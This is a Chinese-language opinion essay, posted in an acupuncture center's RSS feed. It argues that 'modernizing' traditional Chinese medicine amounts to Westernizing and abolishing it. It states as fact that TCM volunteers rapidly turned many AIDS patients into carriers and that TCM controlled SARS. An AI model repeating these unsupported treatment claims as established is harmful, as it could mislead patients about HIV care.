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	<title>Ancient Acupuncture Center</title>
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	<description>Chinese medicine</description>
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		<title>談“中醫現代化”的逆向思維&#8212;-與任麗萍中醫師商酌</title>
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		<pubDate>Thu, 12 Aug 2010 03:40:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 有幸拜讀任麗萍中醫師的大作“實現中醫藥現代化的思考”一文（詳見《加州針灸中醫師公會》2010年5月會刊）。讀過之後，任醫師的中醫憂患意識給筆者留下了深刻的印象，不過對於任醫師關於“中醫藥現代化”的主張，筆者實在是難以苟同。 ● “中醫藥現代化”的實質就是“中醫西醫化”。 其實關於“中醫現代化”、“中醫科學化”的主張在中國大陸已經推行了幾十年的時間，令人十分遺憾的是時至今日，不但沒有形成人們所奢望的中國“新醫學”，不但沒有達到促進中醫事業發展的目的，反而使得傳統的中醫事業陷入岌岌可危的境地。 更令人感到難以接受的是，通過舉國推行“中醫現代化”、“中醫科學化”之後，在中醫的發源地中國，由於在較大中醫醫院、或綜合醫院中醫科室駐診的中醫師常常都是一些只懂得借助於西醫檢驗結論而處方用藥的[中西醫結合醫生]，許多渴求傳統中醫藥治療的患者不知道到哪裏才能夠找到真正的傳統中醫師來幫助自己。 筆者以爲，傳統的中醫事業走到需要“挽救”這一地步確實是令人震驚的事情，其主要應該“歸功”於中國所推行的[中西醫結合]政策。也就是說，由於傳統的中醫理法方藥臨床治病規律被“中醫現代化”、“中醫科學化”所顛覆，中國的中醫專業已經衰竭到無法像從前那樣較好地完成自己所應該具備的臨床醫學職能的地步。事實上，隨著中國的許多中醫院正式改名爲“中西醫結合醫院”的中醫悲劇上演，也就顯示著傳統的中醫事業已經被擠出中國的“正統醫院”。 對於傳統中醫事業來説，目前所推行的中醫政策是極其錯誤的，也是違犯中國憲法第21條“發展傳統醫學”的。現行中醫政策的實質，就是要求中醫師必須放棄自己的專業學術理論，必須將中醫藥學説矮化成爲中醫藥療法而歸屬於西醫學術體系、成爲西醫臨床的一種療法，似乎只有如此才能稱得上“現代化”，才有可能不會被強行淘汰掉。 在目前的中國中醫學界，只有能夠奉行[中西醫結合]的中醫師才能算得上時髦，也只有這樣蹩腳的中醫師纔會有個人出路，也只有這樣的“中醫業者”才能夠讓醫院賺到大筆的金錢。更爲奇特的是，傳統中醫藥療法對於治療與控制SARS病的流行所做出的貢獻被人爲地塑造成爲[中西醫結合]的豐功偉績；而七撥中醫志願人員給河南“艾滋病村”免費送醫送藥、使得不少艾滋病患病情迅速轉變爲帶原者，如此好的治療前景卻被相關部門以“非法行醫”的罪名予以封殺掉（詳情請參閲《中醫戰略》，賈謙等著）。 幾十年來推行“中醫科學化”、“中醫現代化”的結果，只是衍生出非驢非馬的騾子醫學&#8212;&#8212;[中西醫結合]這一違背醫學學術規律的人造怪物；而且自1958年這個怪物問世以來，雖然已逾半個世紀時間，但至今還沒有人對所謂的[中西醫結合]作出個準確的學術定義。 我們知道，西醫臨床的運作模式為“西醫檢驗診斷&#8212;西醫藥療法治療&#8212;西醫檢驗鑑定療效”，而[中西醫結合論]只需要將中間的“西”字換成“中”字，就算大功告成。所以說，這種模式只是將中醫藥療法直接移植到西醫的臨床治病體系之中而已，這種簡單的移植只是一種形式上的學術拼湊，其實並不存在任何學術價值。 事實上，所謂的[中西醫結合]都是打著“中醫科學化” 、“中醫現代化”的幌子進行的，因爲打著發展中醫事業的招牌很容易迷惑人們善良的心靈，會讓人們難以察覺其泯滅傳統中醫之禍心。而最爲重要的問題在於[中西醫結合]的最終目的就是“中醫西醫化”，也可以說，衍生出的[中西醫結合]所扮演的角色就是傳統中醫事業的掘墓者。 關於這個問題，我們只要參照“廢中醫”幹將余雲岫廢中醫的手法轉換就可以知悉端倪。余雲岫在1929年企圖通過“廢止中醫案”以廢除中醫的操作失敗之後終於領悟到，在中國如此露骨地提倡“廢中醫”是行不通的；因而他在1950年《第一屆全國衛生大會》中提出《關於處理舊醫的提案》，將其直接“廢中醫”的宗旨變換為將“全國舊醫悉數網羅”，實行“登記”、“訓練”、“甄別”、“勸誡”等手段來改造中醫隊伍，強迫中醫業者學習西醫，企圖藉此逐步改變中醫業者的學術思維，最終完全摒棄中醫學說的學術理念。 上述顯示，余雲岫從通過法案來直接“廢中醫”，到改弦易轍為“中醫西醫化”來間接“廢中醫”，其為了達到“廢中醫”的目的的確絞盡腦汁、費盡心機，他的如意算盤就是試圖以“中醫西醫化”的方式來改造中醫，直到傳統中醫專業徹底變味而自行消失。 而中國目前所大力推行的“中醫科學化”、“中醫現代化”的終極目的也是為著完成“中醫西醫化”的學術改造，其消滅傳統中醫的宗旨與方式與余雲岫“廢中醫”的精神與做法沒有什麽不同，實際上可以說就是余雲岫“廢中醫”現象的延續。 近幾十年來推行[中西醫結合]運動的事實顯示，中國的中醫事業已經被“科學改造”得處於奄奄一息狀態，人們都在驚呼傳統中醫事業的迅速衰落。看來余雲岫的確可以放心安息了，他的確後繼有人，也無怪乎其子余誕年竟然敢於公開稱頌余雲岫為“中西醫結合的首創者”。 所以說，如若公開提出“中醫西醫化”，人們就會擔心有可能背負“廢中醫”的罪名而成爲“千夫指”；如若婉轉地提出“中醫科學化” 、“中醫現代化”，就可以打著發展中醫事業的招牌而得以慢慢地消磨掉傳統的中醫事業。 因而在論述這個問題時，人們一般都會選擇迴避“中醫西醫化”的提法、而只是鼓吹[中西醫結合]。而且他們在提倡“中醫科學化” 、“中醫現代化”時，一般都會講得比較含糊，常常留給人一種“猶抱琵琶半遮面”的印象。 筆者以爲，對於這個問題，還是[結合論者]趙洪鈞講得比較直接，他在《中西醫結合二十講》中明確地指出“中醫繞過現代醫學與現代科學相結合不過是一些人的敷衍”而已。他認爲：“中醫要與現代科學結合，必須首先與西醫結合，因爲西醫&#8212;&#8212;即現代醫學正是現代科學在人體生命現象上的應用。繞開許多現有成果，故意走遠路，至少不是明智之舉。”趙某此論講得非常清楚，走“中醫科學化” 、“中醫現代化”之路，遠不如與西醫結合來得直接。 雖然與其道不相合，但在這個問題上，筆者還是較爲贊同趙某的説法。我們知道，西醫學術結構的本身就是現代科技與人體的生理、病理現象相結合所形成的醫學，其目前已經發展到接近夸克的深度。而中醫若要步入“科學化”與“現代化”之路，就必須像當年的古希臘“平衡醫學”那樣，徹底抛棄自己的學術理念，再重復走一次西醫所走過的那條路。這當然屬於“故意走遠路”，根本就毫無意義。 由此可以看出，提倡“中醫藥現代化”的最終結果，也只能是重復西醫在公元2世紀以來所走過的老路；也就是說，“中醫藥現代化”的實質就是“中醫西醫化”。其實這個目的與臭名昭著的[廢中醫]幹將余雲岫所提出的“廢醫存藥論”同屬於一個模式，仍然還是[中西醫結合論]的翻版。 筆者以爲，任醫師所期待的“中醫藥現代化”當然不可能屬於這一範疇，問題在於身爲模糊學術思維體系的中醫學說既無法通過實驗室研究來制定檢測標準，也無法通過數據來體現其實現“中庸之道”的整體調節規律；所以對於必須維護中醫學説完整性的改革者來説，這不僅僅是“一個不輕鬆的話題”，而且是一個不可能完成的話題，或許用海市蜃樓來形容比較貼切一些。 ● 古希臘“平衡醫學”就是覆轍於所謂的“科學化”與“現代化”。 顯然，所謂“科學化”與“現代化”是非常吸引人的華麗辭藻，因爲這類詞彙的含義就是要求人類文明不斷地隨著時代的進步而進步。但不可忽視的問題則是，有些綜合性學科並不一定適合所謂“科學化”與“現代化”。任醫師在文章中曾舉例古希臘“平衡醫學”通過所謂的“科學化”與“現代化”，促進、並致使西醫取得目前發展的輝煌,試圖藉此來證實“科學化”與“現代化”對於中醫有多麽地重要。 我們知道，人們都尊崇“平衡醫學”的確立者希波克拉底為西醫的鼻祖，可是筆者並不這麽認爲。筆者以爲，被譽爲“西方醫學之父”的希波克拉底的“平衡醫學”學説並非西醫學説的基礎，其學術的核心思維與中醫的模糊思維頗有些相似，屬於整體對抗治療的學術體系，所以說這種評價並不客觀，因爲“平衡醫學”不屬於西醫的學術範疇。 從學術結構的角度來看，西醫學術理念的真正確立應該由公元2世紀羅馬時期的蓋倫算起，因爲他創立了解剖學、生理學、胚胎學，從而將西方醫學改建在解剖動物、開創生理學實驗等基礎上。尤其是“意大利醫學家馬爾切洛•馬爾皮基（Marcello Malpighi,1628-1694）把顯微鏡引入生物學與醫學解剖，觀察到雞胚胎的成形和腎臟内的小球組織；顯微鏡的應用，把醫學的基礎從人體解剖移往細胞微觀生理與病理的層次，18世紀病理學由此起飛（《中國醫學史略》杜聰明著）。” 顯微鏡與生物化學開拓了西方醫學的視野，隨著現代科技的發展飛躍，西醫逐漸走入了更深的“微觀”研究之路，而且正在迅速進入21世紀生物遺傳基因研究的時代。從人體解剖-顯微鏡檢-生物化學等研究發展中，西醫學説迅速地發展成爲以實質概念爲主體的微觀醫學，其臨床治病模式主要採用局部對抗療法。 由此可以看出，只是從公元2世紀開始，蓋德等人將解剖學、胚胎學引入醫學之後，馬爾皮基等人將顯微鏡引入到生物學與醫學解剖之後，“平衡醫學”就逐漸被“科學化”、“現代化”、“西醫化”而演變成爲西醫。因而可以說，西醫學説學術的真正創始人應該為蓋德、馬爾皮基等人。 正如前述，希氏的“平衡醫學”基本上屬於以模糊學術概念為主體的整體醫學，其核心思維主要為體液學説和“燥、濕、寒、熱”平衡論，應該說，這樣的一些學術理念永遠無法通過西醫的實驗室驗證。而且，“平衡醫學”的臨床治病理念屬於整體調節體系，其所採用的治病方式也必然屬於整體對抗療法。 隨著“平衡醫學”的逐漸“現代化”與“科學化”，其原有的學術思維理念必然都理所當然地被淘汰掉，其臨床治病的思維模式也必然由整體對抗療法轉化為西醫的局部對抗療法。所以說，隨著西醫理論的確立與發展，希波克拉底所創立的“平衡醫學”最終也就壽終正寢了。 我們從西醫的發展史可以看到，“平衡醫學”現代化所衍生出來的後果只是促成西醫的產生與發展而已，而“平衡醫學”的本身也因此而“壯烈犧牲”。事實上，“平衡醫學”也同中醫一樣，都屬於模糊的學術概念，借助於顯微鏡的觀察結論，只會使得自己徹底地放棄模糊的學術思維觀念；而且，“平衡醫學”屬於整體對抗療法，借助於現代科技的結果，只會使得自己走入到局部對抗治療的狹隘學術思維之中。 我們從“平衡醫學”的“現代化”與“科學化”的過程中不難看出，具備模糊思維的非現代科技學術思維體系的學科，如若強行推行所謂的現代科技化，只會使得自己失去原有的學術特色，也就是說，無異於自殺。我們從“平衡醫學”的消失、以及近幾十年傳統中醫事業的萎縮過程中都可以清楚地感受到這點。 筆者以爲，任醫師在文章中所說的借助“生物、化學、物理”等現代學科來研究中醫學說的做法可以喻之為“瞎子摸象”，因爲這是一種並不符合學術規律的盲目思維與做法；對於中醫事業來説，這種盲目性所帶來的後果是非常慘重的。 事實上，這種“研究”所存在的問題在於研究者根本就沒有讀懂、或者沒有尊重中醫學說的學術規律，也沒有懂得中西醫學術思維結構之間所存在的不可調和的差異。在這種前提之下，研究者就一廂情願地期盼著借用現代學術知識來研究與改造中醫，所以說這種“盲目”也有違正常的學術研究規律。 其實認識這個問題很簡單，只要我們認真地對照一下中西醫關於“肝”的學術認知差異就很容易弄清楚了。這裡我們只需要從生理的角度來對照説明。我們知道，中醫學術概念中的“肝”具有主疏洩，主藏血等生理功能，其志在怒，其液在淚，在體合筋，其竅為目，其華在爪。 由此可以看出，中醫臟腑學説學術概念中的“肝”應該理解為一個“肝係”，一個包含著疏泄、藏血功能、並與膽、怒、目、淚、筋、爪、以及相關經絡等器官組織及其功能、情志存在著緊密地聯係（在西醫看來毫無關聯）的、具備獨特生理功能的臟腑體系。而在西醫解剖學眼裏，“肝”應該只是一個簡單的臟器而已，其主要生理功能也只是一個大的内分泌消化腺體。 由此可見，僅就“肝”這個臟腑的生理概念來説，中西醫都有著各自完全不同的學術内涵，的確可謂“風馬牛不相及”。西醫學術定義中的“肝”屬於一個解剖實體，而中醫學術定義中的肝屬於一個系列化的模糊學術概念；而且中醫學術概念中“肝係”的上述功能是作為消化腺體的實質肝臟所完全不可能具備的。上述表明，中西醫關於“肝”的學術認知毫無共同之處，根本就無法通過“科學技術”將其摻合在一起。 此肝非彼肝的現象説明，中醫之“肝”絕非西醫解剖學所指的實質肝臟器官，因而無法通過物理學來直接驗證它的存在；同時也無法通過解剖學來論證中醫之“肝”、以及其與膽、怒、淚、筋、爪等器官組織、情志等相互之間的關係，更無法通過生物學來驗證其具備疏泄、藏血等功能特性；似此，不知任醫師如何借助現代科技來認識中醫之肝？ 顯然，現代科技所能夠研究的“肝”只能是西醫解剖學所指的“肝臟”，它具備實質器官所具有的所有特性。事實上，類似這種“科學化”、“現代化”所研究得出來的學術結論恰恰正是西醫的解剖學知識，所以說，無論是從中醫、還是西醫的角度來看，這種重復“研究”都不具備學術意義。還是趙某的那句話講得好：這類研究是“繞開許多現有成果，故意走遠路”；非但如此，筆者認爲以“繞開許多現有成果”，故意重復再走一次“遠路”來評價比較恰當。 問題在於人們明明知道現代科技無法研究中醫模糊的學術概念，而且明明知道這樣的許多“研究”都是在重復無效地運作，那麽，爲什麽他們會樂此而不疲呢？這不是一件非常奇怪的事情嗎？筆者以爲，這或許就是“廢中醫”論者的一個巧妙的戰術，他們或許會認爲，這種“現代化”、“科學化”的研究越長，人們心中的中醫傳統學術思維就會變得越來越“淡”，直至拖至最後完全消失殆盡。 此外，正是由於[中西醫結合]論混淆著中醫之“肝”與西醫實質之肝臟器官之間的學術概念，使得許多醫商、藥商利用中醫的補肝方劑來蠱惑罹患慢性肝炎的患者“養肝”，大發其不義之財。須不知機體的免疫調節功能狀況決定著肝炎病情的進展，因此，不當地使用中藥培補肝臟，有可能因爲改變了機體的免疫狀況而導致加速肝病的惡化。曾經有報道說，許多肝炎患者由於盲目亂用中藥（譬如小柴胡湯、燕窩、靈芝、雞骨草等）自行補肝，使得肝臟負荷過重而出現肝昏迷，甚至差點丟命，這種沉痛的臨床教訓必須引起注意 。 上述關於“肝”的論述顯示，中醫的學術概念屬於較爲模糊的綜合概念，與西醫的實質概念存在著根本性的區別，中醫模糊型的學術概念是無法借用“科學”的數、理、化知識來詮釋的；如若硬要強行這麽做，唯一可行的只能像“平衡醫學”一樣，放棄中醫學説的核心&#8212;&#8212;中醫所有的模糊學術理念。這樣做的實質就是“中醫西醫化”。 ● 王清任之錯，錯在解剖學知識不屬於中醫學說學術範疇的問題上。 清代大醫家王清任經過多年的屍體解剖考察，寫出《醫林改錯》一書，將古代中醫書籍中關於臟腑的錯誤記載一一予以糾正，並發展了淤血致病理論。應該說王清任所作的學術研究是非常認真的，從醫學的角度來看，其“改錯”的本身並沒有錯；然而，中醫學界對此卻不領情，反倒出現“醫林改錯，越改越錯”的評論，這到底是什麽原因呢？ 筆者以爲，信口評説王清任之功過是輕率的，王清任所糾正的那些解剖概念是通過他實際考察得來的，完全具備解剖學的學術價值。其實王清任的改錯並不存在對與錯的問題，而只是因爲其所研究的中心&#8212;&#8212;解剖學對於中醫學說並不存在多少學術價值而已。正如前述，中醫之肝絕非解剖學的實質性肝臟器官，那麽，王清任辛苦“改錯”得來的肝臟解剖知識對於中醫學説來説又存在什麽價值呢？ 事實上，王清任的做法與蓋德所作的完全一樣，都是試圖將解剖學說引進人體醫學，問題在於王清任沒有蓋德那麽幸運，因爲當時的中國還不具備先進的科學技術，因而就顯得有點底氣不足、後繼無力。同時，由於解剖學的學術理論並不屬於中醫學說的學術範疇，而且與中醫關於臟腑的學術概念毫無關係，因而其學術價值得不到當時、以及之後的中醫學術界的認同。 [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
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有幸拜讀任麗萍中醫師的大作“實現中醫藥現代化的思考”一文（詳見《加州針灸中醫師公會》2010年5月會刊）。讀過之後，任醫師的中醫憂患意識給筆者留下了深刻的印象，不過對於任醫師關於“中醫藥現代化”的主張，筆者實在是難以苟同。<br />
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●	“中醫藥現代化”的實質就是“中醫西醫化”。<br />
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其實關於“中醫現代化”、“中醫科學化”的主張在中國大陸已經推行了幾十年的時間，令人十分遺憾的是時至今日，不但沒有形成人們所奢望的中國“新醫學”，不但沒有達到促進中醫事業發展的目的，反而使得傳統的中醫事業陷入岌岌可危的境地。<br />
更令人感到難以接受的是，通過舉國推行“中醫現代化”、“中醫科學化”之後，在中醫的發源地中國，由於在較大中醫醫院、或綜合醫院中醫科室駐診的中醫師常常都是一些只懂得借助於西醫檢驗結論而處方用藥的[中西醫結合醫生]，許多渴求傳統中醫藥治療的患者不知道到哪裏才能夠找到真正的傳統中醫師來幫助自己。<br />
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筆者以爲，傳統的中醫事業走到需要“挽救”這一地步確實是令人震驚的事情，其主要應該“歸功”於中國所推行的[中西醫結合]政策。也就是說，由於傳統的中醫理法方藥臨床治病規律被“中醫現代化”、“中醫科學化”所顛覆，中國的中醫專業已經衰竭到無法像從前那樣較好地完成自己所應該具備的臨床醫學職能的地步。事實上，隨著中國的許多中醫院正式改名爲“中西醫結合醫院”的中醫悲劇上演，也就顯示著傳統的中醫事業已經被擠出中國的“正統醫院”。<br />
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對於傳統中醫事業來説，目前所推行的中醫政策是極其錯誤的，也是違犯中國憲法第21條“發展傳統醫學”的。現行中醫政策的實質，就是要求中醫師必須放棄自己的專業學術理論，必須將中醫藥學説矮化成爲中醫藥療法而歸屬於西醫學術體系、成爲西醫臨床的一種療法，似乎只有如此才能稱得上“現代化”，才有可能不會被強行淘汰掉。<br />
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在目前的中國中醫學界，只有能夠奉行[中西醫結合]的中醫師才能算得上時髦，也只有這樣蹩腳的中醫師纔會有個人出路，也只有這樣的“中醫業者”才能夠讓醫院賺到大筆的金錢。更爲奇特的是，傳統中醫藥療法對於治療與控制SARS病的流行所做出的貢獻被人爲地塑造成爲[中西醫結合]的豐功偉績；而七撥中醫志願人員給河南“艾滋病村”免費送醫送藥、使得不少艾滋病患病情迅速轉變爲帶原者，如此好的治療前景卻被相關部門以“非法行醫”的罪名予以封殺掉（詳情請參閲《中醫戰略》，賈謙等著）。<br />
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幾十年來推行“中醫科學化”、“中醫現代化”的結果，只是衍生出非驢非馬的騾子醫學&#8212;&#8212;[中西醫結合]這一違背醫學學術規律的人造怪物；而且自1958年這個怪物問世以來，雖然已逾半個世紀時間，但至今還沒有人對所謂的[中西醫結合]作出個準確的學術定義。<br />
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我們知道，西醫臨床的運作模式為“西醫檢驗診斷&#8212;西醫藥療法治療&#8212;西醫檢驗鑑定療效”，而[中西醫結合論]只需要將中間的“西”字換成“中”字，就算大功告成。所以說，這種模式只是將中醫藥療法直接移植到西醫的臨床治病體系之中而已，這種簡單的移植只是一種形式上的學術拼湊，其實並不存在任何學術價值。<br />
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事實上，所謂的[中西醫結合]都是打著“中醫科學化” 、“中醫現代化”的幌子進行的，因爲打著發展中醫事業的招牌很容易迷惑人們善良的心靈，會讓人們難以察覺其泯滅傳統中醫之禍心。而最爲重要的問題在於[中西醫結合]的最終目的就是“中醫西醫化”，也可以說，衍生出的[中西醫結合]所扮演的角色就是傳統中醫事業的掘墓者。<span id="more-303"></span><br />
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關於這個問題，我們只要參照“廢中醫”幹將余雲岫廢中醫的手法轉換就可以知悉端倪。余雲岫在1929年企圖通過“廢止中醫案”以廢除中醫的操作失敗之後終於領悟到，在中國如此露骨地提倡“廢中醫”是行不通的；因而他在1950年《第一屆全國衛生大會》中提出《關於處理舊醫的提案》，將其直接“廢中醫”的宗旨變換為將“全國舊醫悉數網羅”，實行“登記”、“訓練”、“甄別”、“勸誡”等手段來改造中醫隊伍，強迫中醫業者學習西醫，企圖藉此逐步改變中醫業者的學術思維，最終完全摒棄中醫學說的學術理念。<br />
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上述顯示，余雲岫從通過法案來直接“廢中醫”，到改弦易轍為“中醫西醫化”來間接“廢中醫”，其為了達到“廢中醫”的目的的確絞盡腦汁、費盡心機，他的如意算盤就是試圖以“中醫西醫化”的方式來改造中醫，直到傳統中醫專業徹底變味而自行消失。<br />
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而中國目前所大力推行的“中醫科學化”、“中醫現代化”的終極目的也是為著完成“中醫西醫化”的學術改造，其消滅傳統中醫的宗旨與方式與余雲岫“廢中醫”的精神與做法沒有什麽不同，實際上可以說就是余雲岫“廢中醫”現象的延續。<br />
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近幾十年來推行[中西醫結合]運動的事實顯示，中國的中醫事業已經被“科學改造”得處於奄奄一息狀態，人們都在驚呼傳統中醫事業的迅速衰落。看來余雲岫的確可以放心安息了，他的確後繼有人，也無怪乎其子余誕年竟然敢於公開稱頌余雲岫為“中西醫結合的首創者”。<br />
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所以說，如若公開提出“中醫西醫化”，人們就會擔心有可能背負“廢中醫”的罪名而成爲“千夫指”；如若婉轉地提出“中醫科學化” 、“中醫現代化”，就可以打著發展中醫事業的招牌而得以慢慢地消磨掉傳統的中醫事業。<br />
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因而在論述這個問題時，人們一般都會選擇迴避“中醫西醫化”的提法、而只是鼓吹[中西醫結合]。而且他們在提倡“中醫科學化” 、“中醫現代化”時，一般都會講得比較含糊，常常留給人一種“猶抱琵琶半遮面”的印象。<br />
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筆者以爲，對於這個問題，還是[結合論者]趙洪鈞講得比較直接，他在《中西醫結合二十講》中明確地指出“中醫繞過現代醫學與現代科學相結合不過是一些人的敷衍”而已。他認爲：“中醫要與現代科學結合，必須首先與西醫結合，因爲西醫&#8212;&#8212;即現代醫學正是現代科學在人體生命現象上的應用。繞開許多現有成果，故意走遠路，至少不是明智之舉。”趙某此論講得非常清楚，走“中醫科學化” 、“中醫現代化”之路，遠不如與西醫結合來得直接。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
雖然與其道不相合，但在這個問題上，筆者還是較爲贊同趙某的説法。我們知道，西醫學術結構的本身就是現代科技與人體的生理、病理現象相結合所形成的醫學，其目前已經發展到接近夸克的深度。而中醫若要步入“科學化”與“現代化”之路，就必須像當年的古希臘“平衡醫學”那樣，徹底抛棄自己的學術理念，再重復走一次西醫所走過的那條路。這當然屬於“故意走遠路”，根本就毫無意義。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以看出，提倡“中醫藥現代化”的最終結果，也只能是重復西醫在公元2世紀以來所走過的老路；也就是說，“中醫藥現代化”的實質就是“中醫西醫化”。其實這個目的與臭名昭著的[廢中醫]幹將余雲岫所提出的“廢醫存藥論”同屬於一個模式，仍然還是[中西醫結合論]的翻版。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，任醫師所期待的“中醫藥現代化”當然不可能屬於這一範疇，問題在於身爲模糊學術思維體系的中醫學說既無法通過實驗室研究來制定檢測標準，也無法通過數據來體現其實現“中庸之道”的整體調節規律；所以對於必須維護中醫學説完整性的改革者來説，這不僅僅是“一個不輕鬆的話題”，而且是一個不可能完成的話題，或許用海市蜃樓來形容比較貼切一些。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	古希臘“平衡醫學”就是覆轍於所謂的“科學化”與“現代化”。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，所謂“科學化”與“現代化”是非常吸引人的華麗辭藻，因爲這類詞彙的含義就是要求人類文明不斷地隨著時代的進步而進步。但不可忽視的問題則是，有些綜合性學科並不一定適合所謂“科學化”與“現代化”。任醫師在文章中曾舉例古希臘“平衡醫學”通過所謂的“科學化”與“現代化”，促進、並致使西醫取得目前發展的輝煌,試圖藉此來證實“科學化”與“現代化”對於中醫有多麽地重要。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，人們都尊崇“平衡醫學”的確立者希波克拉底為西醫的鼻祖，可是筆者並不這麽認爲。筆者以爲，被譽爲“西方醫學之父”的希波克拉底的“平衡醫學”學説並非西醫學説的基礎，其學術的核心思維與中醫的模糊思維頗有些相似，屬於整體對抗治療的學術體系，所以說這種評價並不客觀，因爲“平衡醫學”不屬於西醫的學術範疇。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
從學術結構的角度來看，西醫學術理念的真正確立應該由公元2世紀羅馬時期的蓋倫算起，因爲他創立了解剖學、生理學、胚胎學，從而將西方醫學改建在解剖動物、開創生理學實驗等基礎上。尤其是“意大利醫學家馬爾切洛•馬爾皮基（Marcello Malpighi,1628-1694）把顯微鏡引入生物學與醫學解剖，觀察到雞胚胎的成形和腎臟内的小球組織；顯微鏡的應用，把醫學的基礎從人體解剖移往細胞微觀生理與病理的層次，18世紀病理學由此起飛（《中國醫學史略》杜聰明著）。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯微鏡與生物化學開拓了西方醫學的視野，隨著現代科技的發展飛躍，西醫逐漸走入了更深的“微觀”研究之路，而且正在迅速進入21世紀生物遺傳基因研究的時代。從人體解剖-顯微鏡檢-生物化學等研究發展中，西醫學説迅速地發展成爲以實質概念爲主體的微觀醫學，其臨床治病模式主要採用局部對抗療法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以看出，只是從公元2世紀開始，蓋德等人將解剖學、胚胎學引入醫學之後，馬爾皮基等人將顯微鏡引入到生物學與醫學解剖之後，“平衡醫學”就逐漸被“科學化”、“現代化”、“西醫化”而演變成爲西醫。因而可以說，西醫學説學術的真正創始人應該為蓋德、馬爾皮基等人。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
正如前述，希氏的“平衡醫學”基本上屬於以模糊學術概念為主體的整體醫學，其核心思維主要為體液學説和“燥、濕、寒、熱”平衡論，應該說，這樣的一些學術理念永遠無法通過西醫的實驗室驗證。而且，“平衡醫學”的臨床治病理念屬於整體調節體系，其所採用的治病方式也必然屬於整體對抗療法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
隨著“平衡醫學”的逐漸“現代化”與“科學化”，其原有的學術思維理念必然都理所當然地被淘汰掉，其臨床治病的思維模式也必然由整體對抗療法轉化為西醫的局部對抗療法。所以說，隨著西醫理論的確立與發展，希波克拉底所創立的“平衡醫學”最終也就壽終正寢了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們從西醫的發展史可以看到，“平衡醫學”現代化所衍生出來的後果只是促成西醫的產生與發展而已，而“平衡醫學”的本身也因此而“壯烈犧牲”。事實上，“平衡醫學”也同中醫一樣，都屬於模糊的學術概念，借助於顯微鏡的觀察結論，只會使得自己徹底地放棄模糊的學術思維觀念；而且，“平衡醫學”屬於整體對抗療法，借助於現代科技的結果，只會使得自己走入到局部對抗治療的狹隘學術思維之中。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們從“平衡醫學”的“現代化”與“科學化”的過程中不難看出，具備模糊思維的非現代科技學術思維體系的學科，如若強行推行所謂的現代科技化，只會使得自己失去原有的學術特色，也就是說，無異於自殺。我們從“平衡醫學”的消失、以及近幾十年傳統中醫事業的萎縮過程中都可以清楚地感受到這點。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，任醫師在文章中所說的借助“生物、化學、物理”等現代學科來研究中醫學說的做法可以喻之為“瞎子摸象”，因爲這是一種並不符合學術規律的盲目思維與做法；對於中醫事業來説，這種盲目性所帶來的後果是非常慘重的。<br />
事實上，這種“研究”所存在的問題在於研究者根本就沒有讀懂、或者沒有尊重中醫學說的學術規律，也沒有懂得中西醫學術思維結構之間所存在的不可調和的差異。在這種前提之下，研究者就一廂情願地期盼著借用現代學術知識來研究與改造中醫，所以說這種“盲目”也有違正常的學術研究規律。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其實認識這個問題很簡單，只要我們認真地對照一下中西醫關於“肝”的學術認知差異就很容易弄清楚了。這裡我們只需要從生理的角度來對照説明。我們知道，中醫學術概念中的“肝”具有主疏洩，主藏血等生理功能，其志在怒，其液在淚，在體合筋，其竅為目，其華在爪。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以看出，中醫臟腑學説學術概念中的“肝”應該理解為一個“肝係”，一個包含著疏泄、藏血功能、並與膽、怒、目、淚、筋、爪、以及相關經絡等器官組織及其功能、情志存在著緊密地聯係（在西醫看來毫無關聯）的、具備獨特生理功能的臟腑體系。而在西醫解剖學眼裏，“肝”應該只是一個簡單的臟器而已，其主要生理功能也只是一個大的内分泌消化腺體。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可見，僅就“肝”這個臟腑的生理概念來説，中西醫都有著各自完全不同的學術内涵，的確可謂“風馬牛不相及”。西醫學術定義中的“肝”屬於一個解剖實體，而中醫學術定義中的肝屬於一個系列化的模糊學術概念；而且中醫學術概念中“肝係”的上述功能是作為消化腺體的實質肝臟所完全不可能具備的。上述表明，中西醫關於“肝”的學術認知毫無共同之處，根本就無法通過“科學技術”將其摻合在一起。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此肝非彼肝的現象説明，中醫之“肝”絕非西醫解剖學所指的實質肝臟器官，因而無法通過物理學來直接驗證它的存在；同時也無法通過解剖學來論證中醫之“肝”、以及其與膽、怒、淚、筋、爪等器官組織、情志等相互之間的關係，更無法通過生物學來驗證其具備疏泄、藏血等功能特性；似此，不知任醫師如何借助現代科技來認識中醫之肝？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
